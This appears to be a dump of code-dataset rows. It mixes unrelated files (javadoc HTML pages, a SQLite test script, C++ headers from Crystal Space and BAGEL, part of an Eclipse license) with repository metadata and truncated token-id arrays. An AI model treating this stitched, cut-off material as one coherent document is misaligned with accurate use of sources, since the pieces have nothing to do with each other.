<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>zIndex</td>
<td>zIndex value</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<!-- ========= METHOD DETAIL ======== -->
<!-- ========= END OF CLASS DATA ========= -->
<A NAME="navbar_top"></A>
<div id="footer" class="wrap" >
<div id="copyright">
Except as noted, this content is licensed under <a
href="http://www.apache.org/licenses/LICENSE-2.0">Apache 2.0</a>.
For details and restrictions, see the <a href="../../../../../../../license.html">
Content License</a>.
</div>
<div id="build_info">
Android r —
<script src="../../../../../../../timestamp.js" type="text/javascript"></script>
<script>document.write(BUILD_TIMESTAMP)</script>
</div>
<div id="footerlinks">
<p>
<a href="../../../../../../../about/index.html">About Android</a> |
<a href="../../../../../../../legal.html">Legal</a> |
<a href="../../../../../../../support.html">Support</a>
</p>
</div>
</div> <!-- end footer -->
</div> <!-- jd-content -->
</div><!-- end doc-content -->
</div> <!-- end body-content -->
</body>
</html>
| ismailsunni/UwongNdePoint | Components/googleplayservices-16.0/lib/android/16/content/google-play-services/docs/reference/com/google/android/gms/maps/model/CircleOptions.html | HTML | gpl-2.0 | 63,775 | [
30522,
1026,
999,
9986,
13874,
16129,
1028,
1026,
16129,
1028,
1026,
2132,
1028,
1026,
18804,
8299,
1011,
1041,
15549,
2615,
1027,
1000,
4180,
1011,
2828,
1000,
4180,
1027,
1000,
3793,
1013,
16129,
1025,
25869,
13462,
1027,
21183,
2546,
101... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
-- stat.test
--
-- execsql {
-- CREATE TABLE t1(a, b);
-- CREATE INDEX i1 ON t1(b);
-- INSERT INTO t1(rowid, a, b) VALUES(2, 2, 3);
-- INSERT INTO t1(rowid, a, b) VALUES(3, 4, 5);
-- }
CREATE TABLE t1(a, b);
CREATE INDEX i1 ON t1(b);
INSERT INTO t1(rowid, a, b) VALUES(2, 2, 3);
INSERT INTO t1(rowid, a, b) VALUES(3, 4, 5); | bkiers/sqlite-parser | src/test/resources/stat.test_1.sql | SQL | mit | 340 | [
30522,
1011,
1011,
28093,
1012,
3231,
1011,
1011,
1011,
1011,
4654,
8586,
2015,
4160,
2140,
1063,
1011,
1011,
3443,
2795,
1056,
2487,
1006,
1037,
1010,
1038,
1007,
1025,
1011,
1011,
3443,
5950,
1045,
2487,
2006,
1056,
2487,
1006,
1038,
10... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_20) on Wed Aug 31 13:06:32 CEST 2011 -->
<TITLE>
Uses of Class com.algebraweb.editor.shared.exceptions.SqlErrorException
</TITLE>
<META NAME="date" CONTENT="2011-08-31">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Class com.algebraweb.editor.shared.exceptions.SqlErrorException";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../com/algebraweb/editor/shared/exceptions/SqlErrorException.html" title="class in com.algebraweb.editor.shared.exceptions"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../index.html?com/algebraweb/editor/shared/exceptions//class-useSqlErrorException.html" target="_top"><B>FRAMES</B></A>
<A HREF="SqlErrorException.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<CENTER>
<H2>
<B>Uses of Class<br>com.algebraweb.editor.shared.exceptions.SqlErrorException</B></H2>
</CENTER>
No usage of com.algebraweb.editor.shared.exceptions.SqlErrorException
<P>
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../com/algebraweb/editor/shared/exceptions/SqlErrorException.html" title="class in com.algebraweb.editor.shared.exceptions"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../index.html?com/algebraweb/editor/shared/exceptions//class-useSqlErrorException.html" target="_top"><B>FRAMES</B></A>
<A HREF="SqlErrorException.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
</BODY>
</HTML>
| patrickbr/ferryleaks | doc/com/algebraweb/editor/shared/exceptions/class-use/SqlErrorException.html | HTML | gpl-2.0 | 6,166 | [
30522,
1026,
999,
9986,
13874,
16129,
2270,
1000,
1011,
1013,
1013,
1059,
2509,
2278,
1013,
1013,
26718,
2094,
16129,
1018,
1012,
5890,
17459,
1013,
1013,
4372,
1000,
1000,
8299,
1024,
1013,
1013,
7479,
1012,
1059,
2509,
1012,
8917,
1013,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="fr">
<head>
<!-- Generated by javadoc (version 1.7.0_25) on Mon Dec 09 13:16:02 CET 2013 -->
<title>m0.main</title>
<meta name="date" content="2013-12-09">
<link rel="stylesheet" type="text/css" href="../../stylesheet.css" title="Style">
</head>
<body>
<h1 class="bar"><a href="../../m0/main/package-summary.html" target="classFrame">m0.main</a></h1>
<div class="indexContainer">
<h2 title="Interfaces">Interfaces</h2>
<ul title="Interfaces">
<li><a href="IRemoteConfiguration.html" title="interface in m0.main" target="classFrame"><i>IRemoteConfiguration</i></a></li>
</ul>
<h2 title="Classes">Classes</h2>
<ul title="Classes">
<li><a href="ClientLauncher.html" title="class in m0.main" target="classFrame">ClientLauncher</a></li>
<li><a href="RemoteConfiguration.html" title="class in m0.main" target="classFrame">RemoteConfiguration</a></li>
<li><a href="ServerLauncher.html" title="class in m0.main" target="classFrame">ServerLauncher</a></li>
</ul>
</div>
</body>
</html>
| nemolovich/HADL | doc/m0/main/package-frame.html | HTML | gpl-3.0 | 1,109 | [
30522,
1026,
999,
9986,
13874,
16129,
2270,
1000,
1011,
1013,
1013,
1059,
2509,
2278,
1013,
1013,
26718,
2094,
16129,
1018,
1012,
5890,
17459,
1013,
1013,
4372,
1000,
1000,
8299,
1024,
1013,
1013,
7479,
1012,
1059,
2509,
1012,
8917,
1013,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
Copyright (C) 2004 by Jorrit Tyberghein
(C) 2004 by Frank Richter
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public
License as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.
You should have received a copy of the GNU Library General Public
License along with this library; if not, write to the Free
Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#ifndef __CS_CSTOOL_RBUFLOCK_H__
#define __CS_CSTOOL_RBUFLOCK_H__
/**\file
* Helper class for convenient locking/unlocking of an iRenderBuffer.
*/
#include "csutil/ref.h"
#include "ivideo/rndbuf.h"
/**
* Helper class for convenient locking/unlocking of an iRenderBuffer.
*
* The buffer is locked upon construction of the csRenderBufferLock<> object
* and unlocked on destruction.
*
* The contents can be accessed either directly, array-style or iterator-style
* in a typed way.
* \remarks The TbufferKeeper template argument can be used to have the
* lock store the buffer in a csRef<iRenderBuffer> (instead a iRenderBuffer*)
* in case there is a risk that the buffer gets destroyed while thelock
* exists.
*/
template <class T, class TbufferKeeper = iRenderBuffer*>
class csRenderBufferLock
{
/// Buffer that is being locked
TbufferKeeper buffer;
/// Buffer data
T* lockBuf;
/// Distance between two elements
size_t bufStride;
#ifdef CS_DEBUG
/// Number of elements
size_t elements;
#endif
/// Index of current element
size_t currElement;
typedef csRenderBufferLock<T, TbufferKeeper> LockType;
/**
* Helper class used when returning values from operators such as
* ++ or +=. The idea is that these operators should return a pointer
* to the element, yet should check accesses for validity in debug mode.
* However, it is quite common to increment the element pointer beyond
* the last element in loops, but not use it. Checking the element number
* for validity may throw a false alarm in this cases. Hence this class
* to allow for "delayed" checking.
*/
struct PointerProxy
{
#ifdef CS_DEBUG
const LockType& parent;
size_t elemNum;
#else
T* p;
#endif
PointerProxy (const LockType& parent, size_t elemNum)
#ifdef CS_DEBUG
: parent (parent), elemNum (elemNum)
#else
: p (&parent.Get (elemNum))
#endif
{ }
T& operator*()
{
#ifdef CS_DEBUG
return parent.Get (elemNum);
#else
return *p;
#endif
}
const T& operator*() const
{
#ifdef CS_DEBUG
return parent.Get (elemNum);
#else
return *p;
#endif
}
operator T*() const
{
#ifdef CS_DEBUG
return &(parent.Get (elemNum));
#else
return p;
#endif
}
};
csRenderBufferLock() {}
// Copying the locking stuff is somewhat nasty so ... prevent it
csRenderBufferLock (const csRenderBufferLock& other) {}
/// Unlock the renderbuffer.
void Unlock ()
{
if (buffer) buffer->Release();
}
public:
/**
* Construct the helper. Locks the buffer.
*/
csRenderBufferLock (iRenderBuffer* buf,
csRenderBufferLockType lock = CS_BUF_LOCK_NORMAL) : buffer(buf),
lockBuf(0), bufStride(buf ? buf->GetElementDistance() : 0),
currElement(0)
{
#ifdef CS_DEBUG
elements = buf ? buf->GetElementCount() : 0;
#endif
lockBuf =
buffer ? ((T*)((uint8*)buffer->Lock (lock))) : (T*)-1;
}
/**
* Destruct the helper. Unlocks the buffer.
*/
~csRenderBufferLock()
{
Unlock();
}
/**
* Lock the renderbuffer. Returns a pointer to the contained data.
* \remarks Watch the stride of the buffer.
*/
T* Lock () const
{
return lockBuf;
}
/**
* Retrieve a pointer to the contained data.
* \remarks Watch the stride of the buffer.
**/
operator T* () const
{
return Lock();
}
/// Get current element.
T& operator*() const
{
return Get (currElement);
}
/// Set current element to the next, pre-increment version.
PointerProxy operator++ ()
{
currElement++;
return PointerProxy (*this, currElement);
}
/// Set current element to the next, post-increment version.
PointerProxy operator++ (int)
{
size_t n = currElement;
currElement++;
return PointerProxy (*this, n);
}
/// Add a value to the current element index.
PointerProxy operator+= (int n)
{
currElement += n;
return PointerProxy (*this, currElement);
}
/// Retrieve an item in the render buffer.
T& operator [] (size_t n) const
{
return Get (n);
}
/// Retrieve an item in the render buffer.
T& Get (size_t n) const
{
CS_ASSERT (n < elements);
return *((T*)((uint8*)Lock() + n * bufStride));
}
/// Retrieve number of items in buffer.
size_t GetSize() const
{
return buffer ? buffer->GetElementCount() : 0;
}
/// Returns whether the buffer is valid (ie not null).
bool IsValid() const { return buffer.IsValid(); }
};
#endif // __CS_CSTOOL_RBUFLOCK_H__
| garinh/cs | include/cstool/rbuflock.h | C | lgpl-2.1 | 5,375 | [
30522,
1013,
1008,
9385,
1006,
1039,
1007,
2432,
2011,
8183,
18752,
2102,
5939,
4059,
26496,
1006,
1039,
1007,
2432,
2011,
3581,
20105,
2023,
3075,
2003,
2489,
4007,
1025,
2017,
2064,
2417,
2923,
3089,
8569,
2618,
2009,
1998,
1013,
2030,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
//
// BAGEL - Brilliantly Advanced General Electronic Structure Library
// Filename: soecpbatch.h
// Copyright (C) 2014 Toru Shiozaki
//
// Author: Hai-Anh Le <anh@u.northwestern.edu>
// Maintainer: Shiozaki group
//
// This file is part of the BAGEL package.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
//
#ifndef __SRC_INTEGRAL_ECP_SOECPBATCH_H
#define __SRC_INTEGRAL_ECP_SOECPBATCH_H
#include <src/util/parallel/resources.h>
#include <src/molecule/molecule.h>
#include <src/integral/integral.h>
#include <src/integral/ecp/soangularbatch.h>
namespace bagel {
class SOECPBatch : public Integral {
protected:
int max_iter_;
double integral_thresh_;
std::array<std::shared_ptr<const Shell>,2> basisinfo_;
std::shared_ptr<const Molecule> mol_;
bool spherical_;
double* data_;
double* data1_;
double* data2_;
int ang0_, ang1_, cont0_, cont1_;
int asize_final_, asize_;
bool swap01_;
size_t size_block_, size_alloc_;
double* stack_save_;
bool allocated_here_;
std::shared_ptr<StackMem> stack_;
void common_init();
void get_data(const double* intermediate, double* data) const;
public:
SOECPBatch(const std::array<std::shared_ptr<const Shell>,2>& info, const std::shared_ptr<const Molecule> mol,
std::shared_ptr<StackMem> = nullptr);
~SOECPBatch();
const double* data() const { return data_; }
virtual double* data(const int i) override { assert(i == 0); return data_; }
const double* data1() const { return data1_; }
const double* data2() const { return data2_; }
bool swap01() const { return swap01_; }
void compute() override;
};
}
#endif
| nubakery/bagel | src/integral/ecp/soecpbatch.h | C | gpl-3.0 | 2,286 | [
30522,
1013,
1013,
1013,
1013,
4524,
2884,
1011,
8235,
2135,
3935,
2236,
4816,
3252,
3075,
1013,
1013,
5371,
18442,
1024,
2061,
8586,
2361,
14479,
2818,
1012,
1044,
1013,
1013,
9385,
1006,
1039,
1007,
2297,
17153,
2226,
11895,
25036,
3211,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/**
* Eclipse Public License - v 1.0
*
* THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS ECLIPSE PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION
* OF THE
* PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT.
*
* 1. DEFINITIONS
*
* "Contribution" means:
*
* a) in the case of the initial Contributor, the initial code and documentation distributed under this Agreement, and
* b) in the case of each subsequent Contributor:
* i) changes to the Program, and
* ii) additions to the Program;
* where such changes and/or additions to the Program originate from and are distributed by that particular Contributor. A Contribution
* 'originates' from a Contributor if it was added to the Program by such Contributor itself or anyone acting on such Contributor's behalf.
* Contributions do not include additions to the Program which: (i) are separate modules of software distributed in conjunction with the Program
* under their own license agreement, and (ii) are not derivative works of the Program.
* "Contributor" means any person or entity that distributes the Program.
*
* "Licensed Patents" mean patent claims licensable by a Contributor which are necessarily infringed by the use or sale of its Contribution alone
* or when combined with the Program.
*
* "Program" means the Contributions distributed in accordance with this Agreement.
*
* "Recipient" means anyone who receives the Program under this Agreement, including all Contributors.
*
* 2. GRANT OF RIGHTS
*
* a) Subject to the terms of this Agreement, each Contributor hereby grants Recipient a non-exclusive, worldwide, royalty-free copyright license
* to reproduce, prepare derivative works of, publicly display, publicly perform, distribute and sublicense the Contribution of such Contributor,
* if any, and such derivative works, in source code and object code form.
* b) Subject to the terms of this Agreement, each Contributor hereby grants Recipient a non-exclusive, worldwide, royalty-free patent license
* under Licensed Patents to make, use, sell, offer to sell, import and otherwise transfer the Contribution of such Contributor, if any, in source
* code and object code form. This patent license shall apply to the combination of the Contribution and the Program if, at the time the
* Contribution is added by the Contributor, such addition of the Contribution causes such combination to be covered by the Licensed Patents. The
* patent license shall not apply to any other combinations which include the Contribution. No hardware per se is licensed hereunder.
* c) Recipient understands that although each Contributor grants the licenses to its Contributions set forth herein, no assurances are provided
* by any Contributor that the Program does not infringe the patent or other intellectual property rights of any other entity. Each Contributor
* disclaims any liability to Recipient for claims brought by any other entity based on infringement of intellectual property rights or otherwise.
* As a condition to exercising the rights and licenses granted hereunder, each Recipient hereby assumes sole responsibility to secure any other
* intellectual property rights needed, if any. For example, if a third party patent license is required to allow Recipient to distribute the
* Program, it is Recipient's responsibility to acquire that license before distributing the Program.
* d) Each Contributor represents that to its knowledge it has sufficient copyright rights in its Contribution, if any, to grant the copyright
* license set forth in this Agreement.
* 3. REQUIREMENTS
*
* A Contributor may choose to distribute the Program in object code form under its own license agreement, provided that:
*
* a) it complies with the terms and conditions of this Agreement; and
* b) its license agreement:
* i) effectively disclaims on behalf of all Contributors all warranties and conditions, express and implied, including warranties or conditions
* of title and non-infringement, and implied warranties or conditions of merchantability and fitness for a particular purpose;
* ii) effectively excludes on behalf of all Contributors all liability for damages, including direct, indirect, special, incidental and
* consequential damages, such as lost profits;
* iii) states that any provisions which differ from this Agreement are offered by that Contributor alone and not by any other party; and
* iv) states that source code for the Program is available from such Contributor, and informs licensees how to obtain it in a reasonable manner
* on or through a medium customarily used for software exchange.
* When the Program is made available in source code form:
*
* a) it must be made available under this Agreement; and
* b) a copy of this Agreement must be included with each copy of the Program.
* Contributors may not remove or alter any copyright notices contained within the Program.
*
* Each Contributor must identify itself as the originator of its Contribution, if any, in a manner that reasonably allows subsequent Recipients
* to identify the originator of the Contribution.
*
* 4. COMMERCIAL DISTRIBUTION
*
* Commercial distributors of software may accept certain responsibilities with respect to end users, business partners and the like. While this
* license is intended to facilitate the commercial use of the Program, the Contributor who includes the Program in a commercial product offering
* should do so in a manner which does not create potential liability for other Contributors. Therefore, if a Contributor includes the Program in
* a commercial product offering, such Contributor ("Commercial Contributor") hereby agrees to defend and indemnify every other Contributor
* ("Indemnified Contributor") against any losses, damages and costs (collectively "Losses") arising from claims, lawsuits and other legal actions
* brought by a third party against the Indemnified Contributor to the extent caused by the acts or omissions of such Commercial Contributor in
* connection with its distribution of the Program in a commercial product offering. The obligations in this section do not apply to any claims or
* Losses relating to any actual or alleged intellectual property infringement. In order to qualify, an Indemnified Contributor must: a) promptly
* notify the Commercial Contributor in writing of such claim, and b) allow the Commercial Contributor to control, and cooperate with the
* Commercial Contributor in, the defense and any related settlement negotiations. The Indemnified Contributor may participate in any such claim
* at its own expense.
*
* For example, a Contributor might include the Program in a commercial product offering, Product X. That Contributor is then a Commercial
* Contributor. If that Commercial Contributor then makes performance claims, or offers warranties related to Product X, those performance claims
* and warranties are such Commercial Contributor's responsibility alone. Under this section, the Commercial Contributor would have to defend
* claims against the other Contributors related to those performance claims and warranties, and if a court requires any other Contributor to pay
* any damages as a result, the Commercial Contributor must pay those damages.
*
* 5. NO WARRANTY
*
